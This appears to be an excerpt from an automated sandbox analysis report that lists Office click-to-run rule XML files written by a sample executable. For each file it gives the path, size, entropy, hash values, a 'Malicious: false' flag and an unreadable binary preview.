Preview:	<?xml.:."Am.....f...tp.]kJb.G...c..4I.EC..u..M..4q7.1..b.....W.F... .K..z...Ov...l../F,.....u....Zp.....4..8........^.e..H..y..z!.XIv.V.5rlD..C..%..2[......bv...v.....2d...O.}..X.P...=.tt.5..r.P....K%..)....CN....Q.n_..9.....\'..#....OA\|XQ..Uwi.xL.30eA.yV..Q.X...k..VB.^.."it..H.vFhLS>.p.X.@..q.#h....PMF.I....@T.....%k...c.z..}..B.dy}..I........(.}s... .a.<..)#3..8i..>l.3.m.a.:.AL.u.A........`y..ioT...T...,.E...bM.Lr.....4....^.o........3.fu..9..S.@..T.1.J.I._M.X.p-.I...l........?4..P-$....a.......uq#..~.M..K..3../.].n.....w.<...PR...........^...Xd...f.v....3.3z..I..\|.<...+73.[\..%.B.=.A........._e../..o.CQ..Y....6.c.,.....T..\...I`&$.$..5..[..Z.....U-.UA.u......9n..4`.M..6{eY.gl..f.4X..G\|.t...q\|...Z.X....c.F..L.S/.-....99P...!./[h..#3.[.R...P......Q]. .s.\m.....c.S....m....#+......`...^........7..JK.k.6.X..DT.O.._...S...r..{x.C.OT.kf.6x. ...D...U..!.uXi......26.c......Q....sH=....M.8..C.7..w@T.D...<wo.B:....8.(..%.o.i...!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.866467262664363
Encrypted:	false
SSDEEP:	24:/E8w7XR/55oYMg25H1/IRUSeOj0h9vHrTWKoFciSs7gbaK8jgComIy/p/2tTEpbD:/E/VnPoB1fS9j0zPSyiSsgAj1P7pCCD
MD5:	86CAC0EE1B9FF9296D331704226AFBDF
SHA1:	0FC2EB008C0DD795473AC3A0A52659CAD1962ECD
SHA-256:	2AEEDA12FC6CB9391E50223E8321B2A6F0E9BC4DA5A01C8BD575D701A20254B6
SHA-512:	BADB4422DCB72C7CD2705B88B6344497F9AA6079714442577F2EEABFF26C960A2AAE13A686993E02B7CEFE9EBA242077257A1AA2AB507B6AF14A1282D8A8C7C1
Malicious:	false
Preview:	<?xml.eJ..n....m...o......\|..j..r.....+._..\D"C.._....F.....Po...=.D....F...)Y^xj\. ..H.E...~..u.....<H}-...m..x...q.!.........%.....AC.k.Gm.e......z....{$..C..D..S...Gn)H&..8....I...\|....n.A..z.h7..2.S.-.U.M..'.....W2S.)....{:...D.....fK.~ ...'[..../..0.'.v.8^..=.n..s/.............7..+cZ.....1..]...N.;45.R&.ve.....t.P.........K......GU..u.#A.......E...,.q.x..rg....p^.04.+...Z.>..o..x...&.3.Y...Y..}.R<..Y.a.I.B..,;V.Z?..op.-.A&..d....m<..{.....D....I...V.}V7..\|O..v.f.....q..n.E......j.J..&3..{.......~.*.....9..{......v....jDk..G.....v....+...Y.W..aoK0,.F........5J.....r..3T....yJ/..z...I.R;.y.@.B....R..1..Q....e._..JN...?.P.wm!..mEX[.A....Q..........GP-VY..0].v.Zl0[..xNg.C......v...C..f.......h.g[.(..S..2...U.a^.#i.....i.....^....+..%9.h..;.1.S(A..\....I&...X.XB8.L..+t....8..7...x..s..qk3...z!.K.7.W.,."rp..d.H..8..M.>m../F.x.m..<-......Mm...HB......J...U.F'O.......h.Kb..".....%RJ.x.B.....`.g..r....(z......$....C."..h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8875183146042245
Encrypted:	false
SSDEEP:	24:6HUE+8z4fvUj+M0gOLgHP5Ra+fQqqPYrIZtKNrcKTnmT4nPsOme0rWityOYxbD:d3UKM0gBHxRKqqPYrat10nf0eSwD
MD5:	C67ED0C101BD8538D2D286F338276282
SHA1:	B70D2A84667E897CD4276BD57D8F8959ACAAEA93
SHA-256:	952B89F531668F8281BB0633424F97306418AA68574EFD34E05787D3CC553EF3
SHA-512:	74839FEAC87DB58D151559AE942B209CD44A8C8FE954F4D78C807129D01FA5B25371A07792DFB1203BD37B55E4AD8011AA2411F5F83D4CF21A6D16397B49404A
Malicious:	false
Preview:	<?xmlK..p.._..o=[^.g........7E....gO.....8...@..^..@X.,.%.q.`.M..d.#.P.eOm##.........Hj...-[..i..f..6:..:....\bD..Vv......_..Dqp.....v...'t0.KGD.H'.........7Y}.@i..&.<#~d..M...V.]....t.V...>.6..S"}...n.....9l..].........7=.7.%>c4...R.2L.[..+.,..:THlK......R..O....@.q..l..\|.i[.X....6.../4..r<.....D....uP..N....-.J.z...u.mQ.S...'.6...u..2+....\D..6Pm-.<.^..v!g..j.^&^L.Q6@2.^.Y..r.K...#Y.. ..Sx.f.......\|.j...OgW.%..z.h.....4.#39roC.b.\|.?}-....<f.;......._.....;......B.6..7.6.U...Q.....L.P....p...}..'....h3.X.a.\.L.P.._Lk.&FI.}....!..,.!...Qa..,....\@O........K8.D..Z.q.[!...$......[.,W#f.h2u.ki....x.yMt..UP'R....a..UY..M.i.OS...._.meF.U.{.,Ks..vox.\.W..W....D;p7......&..4Q-...@..e%.T....O.@i.cb......C.vi..s#o.o.!........i... ..W...Q+..z.X.giE.... $.3..r.b.P.t..q(.h"..........c........U..N......... ..DSY....\|c&....X.hL....l.j......U[...-...>..Z.b..w\........TQ!..0.?..V.'b...b....,.^.......A...s.#Y./......F.dl&D...I.(c.c....^....Y..t..e....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.875088509940321
Encrypted:	false
SSDEEP:	48:S8m4FtSzcxNeaup2B64VPD5lDOtW9IDaO8aTOT9D:S8m47PYD0B3PdhMv+a8
MD5:	A811C5D4C09C6DC03F75B40A2DCE4CBC
SHA1:	8ECC65AAA2BD8CAD1FCA1E709CA39E0202C96FED
SHA-256:	B76E5613986288BFA407C55569F731C47A725A5A857085E2301C3E72AD110F5A
SHA-512:	5D6B05228F67C7E1B9D50DC5F89F2E4ED0376C17D48F918627DEBD77400AEA596B59E59E322C25880F628D0BD4D6A0CB46D6FA24FFD9EE51F210D1305B16A61C
Malicious:	false
Preview:	<?xml.?s.{..V...O{.nf....NO..>...L.m.....=..........6..ww."M[+]2...+.$.j..N.ZS.fJ.u..f."4J'.....:.E.2.i...V...[c...a!~......y.>..e..\|......_....)?<.I....g.....hk.....&bc.?m.X^+cl......[~..P.W.g....)f.n..N....HA...... ..`..8..(."...zMs....8.;.....1..B...x..A.>.2.3....c... ..N....+...U.4..;^2{...$0...s.........s.k .#b.K...;..P...s.h..O....s.K......~........@..{..,....}..t'..'..3....Q+.r....I..2.../....2.'%K..-..J..5..._'.9...m.3.....YRFE....wjL...3[(...ws........x...H ?-.........O...H0.T.E... .B,K.j.....Xb..Z.}. .)6>.T.v.l.H..6.....r.Z..qAC..J{C.........D.hy+...fp.h..Z...?d....m......?tc&BB.......M.6.P..#Vt.!.{..F...B.`CJ..5.......0..HFph$.5.-H..44...i&@..[... .L._RT4]u.........e9..MNA.._.Sw..>....0..\|....{=...(zG...a..3....(.X.E.Q..tT..4:..S...W.I,;.O".....S+..V..T.s...0..6.dUS.$..j..C.{....$U.O7..9.q....U..........U..zd........X.lU`.O.BN.5g.1.:..$...3G...l...L.]...C.l..q0.9...q_=\|.k......:_.......=-..R..c)M.+.}..}9.e..0hP...).Q.@...F".P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.89733181561152
Encrypted:	false
SSDEEP:	48:ArHy7Bz6yfaitQv2px+a2xspKyOHTuOJSD:5oMQOQQKyOHaZ
MD5:	02244F0560DB822A8FB05294D175E781
SHA1:	E8CE24ADC57384DA2B8259F47B7AEC8C257EA1C5
SHA-256:	8E6FC83B27DB3FB6A6C7B351663C170D430179C947F188035938669F41913BDF
SHA-512:	A95A3C50F3C20967DDB4911D6B57C8CF799A5764DF720F18BE7D2DB6F3DCBDACD2DF3EF4571A45F84DB687CD6A649FA46EED16836E09710CA32DCA0861546E9F
Malicious:	false
Preview:	<?xml=...&5..pS.:H.U7]....sG...J./...U.O?.KQ....8.......".A...{......6...r[...k.2.O.).}W....{... .C...o...1.}.._..9#.i.&........3;..M.../.uh..+..................9;W..F...<..9......_....,......P..q..Q...A.b..I..=h..`..+c...6..9i.!!T%.....d...1...1....D...:,.......qL...g...'......:y.m.t..._ ........g.(..6....\|.!..Z.%........><.O.t...yr..7AW....b.......h.....P........p.s...1W.....i<UZ.@..R..h.....].f...A.P..x..vP.-..R....AU;q...qo.O..S.)8.H..c.....J-.p&(..&n..al.;.<c.7D..0U...../.r.g."......y5s..V......_G ....... .&.K...C...@iHr.x.p.m^...%,k.\.....$....sW..g.....9%..8..gz.._smG"-X.6\|....e...k..l..V......>.5q.....f.J.'..t.W.z..r.......p....4W..q......>..g).._.].....G.R+..$..y..N.w..{..QDNR.u.@..Nk9.K.s.....b..B...v.4...kTC.\|..;.......K3....Y.H.%..&..p.+R.._.A.0.v'.....+.)...<.~v y....WlBkU.%.u..\.x}...'W...m6%./.,.b..>0..,.>..3.8.5j...{NI....t.Dq..=...!....B0........x..ji.....G......7P..?P.~d..s. .v..\|.Ni.F.`.]L,.s.:jNw*.E....'O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.893534244038173
Encrypted:	false
SSDEEP:	48:99D3lgCOJ6lIjO/n+jCwaJOWY8DxdZB7u1Kk6MBfqD:Px5OiIjMOWYQxnhbMBa
MD5:	B20F066A50A6ED99F0CBC3A9A6169977
SHA1:	DF8576E950F519D1E1B903DF9867B97683A4D4CF
SHA-256:	424E591ABC686CFF4E9AD9E290356CC6B3CAE148BE75D842458FDFE1C7617B11
SHA-512:	DFB85ABD53E0497FA16BE6C75D2AD283BF2380CE720414A048DC1106DD6A2C205858114B631AFE4251774A7B3263C510B269925EF46B4B237ECEA00879FC4A77
Malicious:	false
Preview:	<?xml.M..I...)`.[7^&I.W;....d.}.........o..R...a....l.+..rh..Y.1.7.3.Ni.E.j.8.D..t...dmUa..q.c..A....F. ..X@...^..r@...v..<lk.v..f..........r.\|~..Lb.:...5m./..7.2..U.,..}]..l..../.1.T.D3.P.__,......+z..k....[...K.L...I\|i..M....~....f...].......G.a..i...(..w.7.(>L.).X\.-"X....X%..>M82j..{+..../]..~.pwt.q~t{ .]j...G#.Z..q.40...... .#.M"bH.w..G.x.h.,.t..M.D...8'Wg..Q....,.{.^.."VR...]!.......X.\|...'..A.f....VrK.bQV&......o....2w#.tEm....y.}..F.......4.qG..:l.2..O......9....}.yLe.:H.....r.<.W...u.......s.O7+. ........I.TUCY..ZC...5}.....Zb..A.9..._...@...."....~....".j..._yH.K...=.H.o.+.HN...fS5.!.(..,....{Ce..7{. -.:.....B.p..C%{..v4....$...J..l!..b.C.......Q51"A.L(&.c...e,..fq.....!w{.........5+..>W.^m>-2v..#ws..h...@N.z%.5gi.Q.\I.i.u.8..f..u'X......!.L7K;..5Y..MH..Uo..0.Ot]P.m../@....V.Z...7..T..z.0y.........4...bO\|=.R.N......\S..U.d....z.O.....Y.f..\|.....Hs4Jx..S1.%...tG...,......0.......C..*@..92.{$....N...Z3f}j\p{...;.3.,.F..;.....F.JT.n'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.877420100265107
Encrypted:	false
SSDEEP:	48:HlD9bgDCZa8iyT2PlZ5ABDaqywQ91k7OD:FxbCCZdKbABXyw4v
MD5:	E09A2D7625DF439A785B3F2443698037
SHA1:	15F73CB9653F9146BDB3EC79C739C539335BE1FD
SHA-256:	6ED2E1A339AB10D2F92DD07C9FC800A84486D290FDAE6239E460828418893E07
SHA-512:	32FA1E5B13218880DFD0D806C82A6770E44E4382692AB6EFFF6592EC34AAD4765DD93BA11C091F493C5A8DE5EA154CD55041AEB6239FC8BADC5F560FBA6A06B9
Malicious:	false
Preview:	<?xmlX,...a....h..\|.(.<..... .\..>!!0{A(...o.........b.aV..9.AS....v..1.P9/....D.`.{(...j<p2?.`....>.=........Sf..c.t....<v.....sV...E.T$7.:..}..-..a2.pLP.......w.+O}.:tZ.6.v.9..t"...hg.._.=>..:u.......t..3..]..Jz.oTW.w.s.w.B.rI..~.5..5..iF[..?.6.....?1.W8.....S.d..L>.z4%...e......M{&....D.LV...=..Z.%.......X...8.LCF;A....Q.....u.]r......X...R.I...SW.6r.yHb P.s.qs.9..A.a@.A._Sb.]8A.<...O..'$...N!.2p.(.......n7..<=.C..t+.{M`..!A.........0....\.G.qM..\yU....v.5Q..a.8.g.@.O..].u.m.90......P9t..C.J...4....M.....P......d.".Y..T?.Uf..U..C..7.L.JFN......C4.....k"..:9v...bH#.....CI......+...<...%0..,..P......X....,.U;^._7....p..J..-.>.@....<....I..8..tw.>....i..E.nf..P..<.u7...c.*)....b..~X......).....h.............[?..k.\...._d.....e.......VY/C..P.2.y@.f..3.Tdd..)W..8LF.(.Z...3..N...?..V...]..9r...N..NW......?R>...D.F.<)...&.`u.H.D..:........2[rW.o.p....C.Z.O.....W~.I.e......(..V.._Q...8.?.bV7.?lt.G..!y.....jR.B'H5.]...{C...;EF...sI(.B?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.907677280633832
Encrypted:	false
SSDEEP:	48:yzMa+HIMMCjyD/neeZy8re/9rpYib91hIt8ND:yQa+o8jyj5ZWW6
MD5:	9883F958B3E3CFB7A78654D2D356995D
SHA1:	620F24F505225637C79525F22960295DC7E9A950
SHA-256:	99C050EB9DBB0B188E5B0C0708D6C6EB5D416651BB57799B9D50B5B3E64818CA
SHA-512:	CA3D4B336FC07E333F14E2CE431655561F7F49AD0BBC9368F1D205DE423D49EDE9F4766113A85F1CE6BEDEC8DC67C6ECC9314765F8B8E17EBC9211D5A6668794
Malicious:	false
Preview:	<?xml&.g.J.1P.........-....z...&..../3.rO3H.....by;.O..[...q......S......;......,.i...G..V%.s......$..1$ky.G../..rN.q,&.r.."Kq.U.y...z.c8?....<O....yG...g..b..7i.T....^.."....[.i...p.Ibd@....G....F.t.Ww7J.uu.....;...1[...O&E...@{.B...~t...S....C.....W..(`.-..S.7..K.....O.$..q.=.c.VW..T..8.NP....V>V%...../........]........VW......O<#R.O#.V..2......`8=.._{..Z..'p-;.....g.d6.M/.S../k$.K......p....m.Y."..w......o4.8C..hc..\Xf,.z.&...^...W.....?...3."JZ.N............\.&......b.,...%....#(;B...T.....y..r....4..wj..;.y-C...G.cL}....3....8m.fR..^..2S.=...."Y$..;RV.H....n.0.w.T... .c1..S..GrH.sU.\|_P....;Cs....Y...C..;4.m......u...?C.4{.....HZrl.0X.o.w...$D1...iH..T...y9......?.n.'..8.c..f..TN-.}.g4.S..TW)...1U7'gE......5.i.X;e.tQ.Q5F.up........!...K.R..2.M.P.Is...VJ.....v=.).?h4.....&.>...d-).rq.s...'....3bt.>H..$.A.U3..='.......[b.:......!.d.....*.Ba..}D@H.T6..`.3.SN.._.'..}.<..3&.!.\|%..._...U~....vo...-...Y..e.p......kf..h.KH......~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.877294505064771
Encrypted:	false
SSDEEP:	48:ga/wFhyHThvXUeO8U/bBUU1eDVOE4HLS4adU4aaelmD:guwFh+ThvQb+Uu4QrX
MD5:	3178E223E1146AF0E5A977E14514D8D5
SHA1:	3B8F006204BA5C7DE15EAAB612F972F3DF3DCD85
SHA-256:	FF3BF10DBE82C4E661D8BBB4EEFC9E06A66C875B284346B1CA49B257D65D2C6E
SHA-512:	9A6181A274FA172CC414359028FC9DA49E5BF0892D087912DA7C450F9765014BD949D341552656EA67C8673B0465DD2E390AB8AC99A3A360AE3BB4B8B7A31A14
Malicious:	false
Preview:	<?xml...<c....H<..$..Z.S.nsu..'..S..`{.....w..R_..]^..`......{J.?)V<..x.GEx....~\|.'s...s.x.,.,T....8.G.........>.6Ff........$)...\..rN.b.......d.or....wQ@P...n.%...........g.51y..q....Fa....J....H...=z.}e0...z.aU.G.p.U.dl...%.G..............9."n.B..Q..x..xO....F.Jd:...n._.{Z.w50..~...p1'ZK........rp.#11k..a.V.(D..m.[..=.y..U..1..?.e.}w)oUo...]......0. ..A.X.@.e.V.$5.........X.%$..z{.9<r.)...1a.\.Gg$82V\|"+.Kle..l...I.0m......m.a....1A8..w.J..jW...ui.i...(......I...&..vz......Cr3.K..f[..yid..)QjvSH..>.g.<..{.#..Y.9.<}..........f.j.\#5<.&..'..l.....<..r4...uf....I'...~FGu.....-W.o.N.....}....1,...o..m..+..4\|..W,.L..Z..,.%.S..T9.Z..Ay_.G.2..A; ...].9#..w..8..X.....s.........j....l.{f:k..&.8d..4.D.5..>2......\...S..k(./.R.\.....m&.0.9uA..,y.~..v>.'.O.1..y..y..o.9.ad..]......'.....zh([..qm..v\|..O;<5..P.2.....va.8..9.....VL..,..2".,......rY.Q..e.,..l....H......003g."sS.2.A.tzp.[..P...,}/...Q...%.^#....5.N/.:.....mrh.,.B.B.k.zHL.i.@tB..E4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.886490388650474
Encrypted:	false
SSDEEP:	48:sgcV1om1onCJdIS5a5XwF7XRFzSLLtNam2D:sgW1ofnCJdYhwBPzSLL+mu
MD5:	F815F22E834A7FC52F668F84310A16A1
SHA1:	AECFF0ECEB5F2F53A9BA7F8E1001F432BDBF24A7
SHA-256:	021D0B8A1B8B35D977F0886F34B561B71FB229564C584281BB8504C474559E12
SHA-512:	AAEABE79C83748C223557D67019B2F876B5B35773EFB8433646EC29D1A5498F0D8BDFBF3A8EF83E2E7C6BA61B0BD3C193B26260438740F02F026AA908AF37F3C
Malicious:	false
Preview:	<?xml6..%.sm........K.]........t...s$z..a..A.....p.=v....\0$...oa......'...M4..z...,s/u.G....7.?..B3t.{..]..v.G7^p..k`6kM..e8_...B.(;...as..B....O.r....3...."}...Q^...>$>..[..H".X..S}E.....uj.+........M.x:@,..m-.K._.....~.....q.".'Xp....}..@*4......,..8.T..Nvt.U./.,7.Wk.<..l...l...M..F.dd^..>...`6........'..-.d....f`..2.f,.`.....Dz@....q.^6...3....A....M9.m....L.x...B`..'J.B..N.YE@.'.....K.q.......c....}n:.......g.J.....d3Gy..W....2._..`... ....D....{]`...R.cE....?y......X\|...bTd)...o......Q..2I,).t'.L"...}..a...O..2.G.G4...;......pqD.$..4....-.0b....9..7V.'.._?w..."E.%.c/1....o.'.....d.?.V..).W.....z.c..Fr&w?.my.}<.....r)P.6uV.6.^..0....4.O9....\..............:Cq...v9$.1..m.g.2Po..Q.6..x.....R....v.af.J.......8.L.H.9x..1..l..p..?.0'..o.$.GE.R@.c...2{.A/....V(@n.H...e.3`..N..+..BDnO..L73...........W.t..5o.a...A.,/....AS........R1.....V]z1.4....\|..F.J.....;f.......[.......Y}..g..DTq.M+;..QbI.3Z..............B3...%.......Xa.b.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.868958473465034
Encrypted:	false
SSDEEP:	48:/wTizJWOUHLTOolK2L2ys3mUQaIk4gQN69D:oOzJWlptL2ysWDa14gQM
MD5:	32D474CB5B1B9F2872E92635FE07095E
SHA1:	B161B8D36CC476E7C67EFF1715DFEB24AC8D9DA7
SHA-256:	AAE63B28EA0BE1F63C95C01C543D80CC67D1AC0FCEF96FE01B834A4BAE0FC1FB
SHA-512:	24554931AE85644B71A0D96AF49785A518215D99EEA691CB599C16645B111FCAEC22C76507BE58737D7E2EC36C52558F861BB22D4C24DD7EFE7FF8177756040D
Malicious:	false
Preview:	<?xml.K...S..y=...\|.u....g.....-.....2.[.b.W...&61..........<a=K..6X..e.&......p&.o.]..R1..Yd3m..}..3.g?0`Qx.Y..jfh.......}}..;F......3.M.......0.!].-E.K"..\.z...-S.X....a......`..%-g;3....E..F...18..0....-R.....os.r.UQt.UE..9.....t....R.q......-..;f.;...jj^.t]W.1r.....Z.^.....&U.r.<.;.. .V.?..d..p..i..K...W. ./..'~U.g>.z..o....g.i....D..z...}Qa...P9Y..=.&.....o.5VO....hw...3.}..._...18.pn~$o-Q>3........[...).>.Z.Ht]tN..7..Z....@t4....z.....9cY,t....3"..T`..&.^.B....K.3.....N...'.aD.%..]7}....".c.X.).Mm.........=[T..)u.K..q.^!.]H.Mb.".U,......wL.....1....-.{SdDd...Rc).....,1.:.z....o...n_...h?G....@#...3...NIkd`..KC.w...4...a0{.Z...V&.P_........`0V,...:....h.k.yGPu... .....L3.jg...bk...V7.:..-.....~L....<.6_.Cc....&..w..2.o.Tf.w.9... ...V.I_v1 .k.....a..WM.3.5.. \$..-...;.w.\|....yE..r .W..&....!j... ..p.'}.t!.k.....o.%.>..ED/..4...nm'&.>...,.x..Sh .M...I..+.^...dd'..zv.%?<\..&.r.9'3?............7.5..c....$>. .D.)...^."7....R..dR.-V<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.89160823229362
Encrypted:	false
SSDEEP:	48:AAWrjBfq/D5CPj3thq6bkVLsY/XUx9l90FWD:QhxrPq60q7gO
MD5:	E5F79E2C9BB9BD430D031825EE4835B9
SHA1:	599118EEEAD30DD73BA46E04814F5FC81813DEC1
SHA-256:	2E73CA6E0CE745DD9FCFCF35BCE326E04CC9B4FD12ADEE8C10B84C518EE429D7
SHA-512:	6892A1E4E62449E015DA9F2A0E49B6A8EA787E3ECE2D3534D62F5B33677C7D89DF09A7D35E7A4709EC252474CAE4B45CA914D83DB418EA6A43F0B7CB8CF513D1
Malicious:	false
Preview:	<?xml}j.51...........^...am9...6t..s..5.D.Ay.>.!..+J.....e......xk./..!y#\|hM.)S......%$...}....B.......u..X..l>....:sQ..Wk1wb3#........N..K..4C.x.C.=.. .."........mb..WzI..&.<v.......ze.d..yF'....(v...fh.7..5.0.3./.... &].......!.i915.&.......JZ q.%?l..{3.[.6i..w b...`9c...<.#..Q..h..2....-..)..\....b......G...3#.Y..\...d?:DE.....3..g..$....T~....b..........NHi.O..z.$Xg....k..N ..E.3..P$...R...R/.Q.f),..._...}(.........L...$".....~.;...........b...(x...A?<..~....4.y7..i....;...0...Zw...=...O...Z...z....I.P...f...P...)h.Ju....}....@7..9..)....... .R..D..q.{.)...If.......:.s..R......~...........T.\|FKf.K.h.>...x=P.WQJ..3.g4.Z/..$.....).....K.2..q...G.....L..2..if[.(..`(.3...K'....3..h.Y3!%.P......z..".b..'.4.$..k..G.}{F..a.?+..!..G.{E.W?1}....{...p>...W....T.>..+.FpB..u.8..~...3...q.......GJ..................l.v.R...........<Y...s...uH.+..<s...X......r.A<5,...G!iI..D".E...j.x.j....P.;....+.x=....^&93.!...B.J]p._.."..0@....\|.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.88045284610804
Encrypted:	false
SSDEEP:	48:saJW+puN8WBlk6k1tgrOY2hm80VZ0nlSEfgD:1ZtWB01HLhh0HbE0
MD5:	4D304EC31CAE850B62C0090D5EEE1F66
SHA1:	855D916F5A45C4AF0A0DD47C344AC9FCEC447265
SHA-256:	B3A6AB999AFEDAC249A921B30C16A69001586B26354200C7C9F5A9CEA7DAFF88
SHA-512:	99C3A921E472BD55C7A58E72EEE5DAB5F17AF539FA4EF486BFE6E722B2DC69B444C869E6F66CE0210102C85E6FAC95150C8CA8C112ABB78090A91D721D7BB2B4
Malicious:	false
Preview:	<?xml.h%..S,Y&...5.c..#.o{=.]}....)..0....{\|M.!@..kV...P?.v..#=.S...@?:.j.N ..w..JCZ.....t.:d..!......0yDJ..d.E...y.N.u.>.'I_.!.........r.\|<+.T..q....pE.....\|.7..k 9C....../.I\|Q.7.]`8m.^..g.F...K.Mc..Y...!:. 0....Z.-....q.4..K.E.w..a...r.;!..g.@.. .AD.6C..3..Z.h.=y.n..!.i...U}2.....?@.E..A[..s.U..al....P%o-...F..-..>M.B..D...>&..G.>.B.....8.(..F....\........~-......;..n..B#.2hh.I.wy...c$.>N!..(.....OG.x!.c&X_..rXu...J=.9b...,V.e..l.=...(...8.CZk.DG.bUJ.(.>)"'.z.....`2.(.^......PE...Fmw.......:....8..v.X.a.....f.......r...{7...&-P..Bygkf...T..s.V>p.S..G........F;.N].M..T.E..D.V...7.cm,....2......}V.....eZ.t..s.!.t^..T..5HcF/x"!.(..A..>...P.G.=.w .E...=..^...>...........Y...&.V.@b=Z..L..R.?1..sQ.a......h...`........! m.P..-.,.s..s...3n/3..T7;Hs.u.;\G.Z....a./.......rR..c.u.h,T.7V.7..jw.v.......s...!.^._..$......m>........_.p.... .C...Bg.u..UyShIg...{.....D.p.n.F/.s._.`.. ].;V^..DTT<.pgP7)...\AK.a.~F.7.gHd.....C.?4.z..2c..$.O.W;.Z..].R..w....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.886629926380979
Encrypted:	false
SSDEEP:	48:qoGA04IoMM/RKPiF1DNMIq0+gUsIlfQJVeD:qoBIoMpsNuB0+gK4Jk
MD5:	96E20962E19A03B632EC721C0E3C2380
SHA1:	4F9CED2C70901D6ABD8E4F2606491DFD658C9A6C
SHA-256:	43A08ED6FC5EB9CBB8D5C9ED1FCCB50388BC25A7F8B2FAAA98FEC213A4A62913
SHA-512:	FB0BD8FA809C2CD829B432B354897E9392AFA808F00CFF8CC93C2A92C6C3ADC0ACECA4E3A00E43056F48021612901E1E07D9FBAA9ECBC76A65937297F8CA0541
Malicious:	false
Preview:	<?xml.......fE.5.T...B4.w5)Y.A.i...wR...x....p..../..1x..$./v.0.0<V....<'J.6..3..,..D....x..R.=..H..7>......6..E.`I....F4.nD:.......2(a...@F:K..M&...<.....w...9i5..H..LP....;9MU........~3.1.Y......._.....}..@.i...R...n..i..I..?....^.]..N.zs.,z\/....H;.t.#.Lt....O...46..jIM.1`..F...^MO..f...a..h}.....ii.>....X....dz.........{=<....%..d..bb...@l.aD....n.!.G..R.`..6rNM$..@..u.D....s...C'...:.3...\|.>0.&.....T,..3~.pzz._..t....'e....... 4....C.7O;p.........,...."sA..M.^k....c.....y.ko..J~...Pbx../...\|PG..........+.T;...!..D.X@...+F.K.H.cqR.b&A7<}........j.@.k5.L..7Bcnd.U..jj.NXJ..6H2../..F.._.b.!)........c..&..3....3.>...$.....+0-n_..~.X..u.dQ...w..C..}].=kS..1.?b.@}..^.B.EYn}s...T.x.UI..3....'..L..zTu.B.A.=..Av..(.e......}.....F...nU....I.+.PA.H...A.lk...mo.r9...=.o.G...R..3.i6..,.Y...>@....,...j....).U.>....!....r60a......^.4.k....<.W......a7.E%......O...GLg.-u..^(9g.q.... ..HB.A...~.....h....r.;.$.v.V..Da...J"p...lI...s.....y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.882176118762611
Encrypted:	false
SSDEEP:	48:HwgCM9xSvT8e+4Oc6LrCBP7TC9wD7Lx3D:Hw6xAkFriP7W2F
MD5:	BEE26662FEF6692DA82F11661B498036
SHA1:	B85E19A65A401484E06DE47CA21B752964C9A680
SHA-256:	85E5B6B0FD572652499B6D45C5D10EA98201707A8A8A74F678287E391DCF46FC
SHA-512:	4CDF0AB835ECC6C5426ED2435215AFDE1D4E22B9B7698A5EEAA2AC1AA9AD9DACB3977952502BA3E35A6D64A06F4F79D616F25FC5666AE6B4BE6D71DC72408DD9
Malicious:	false
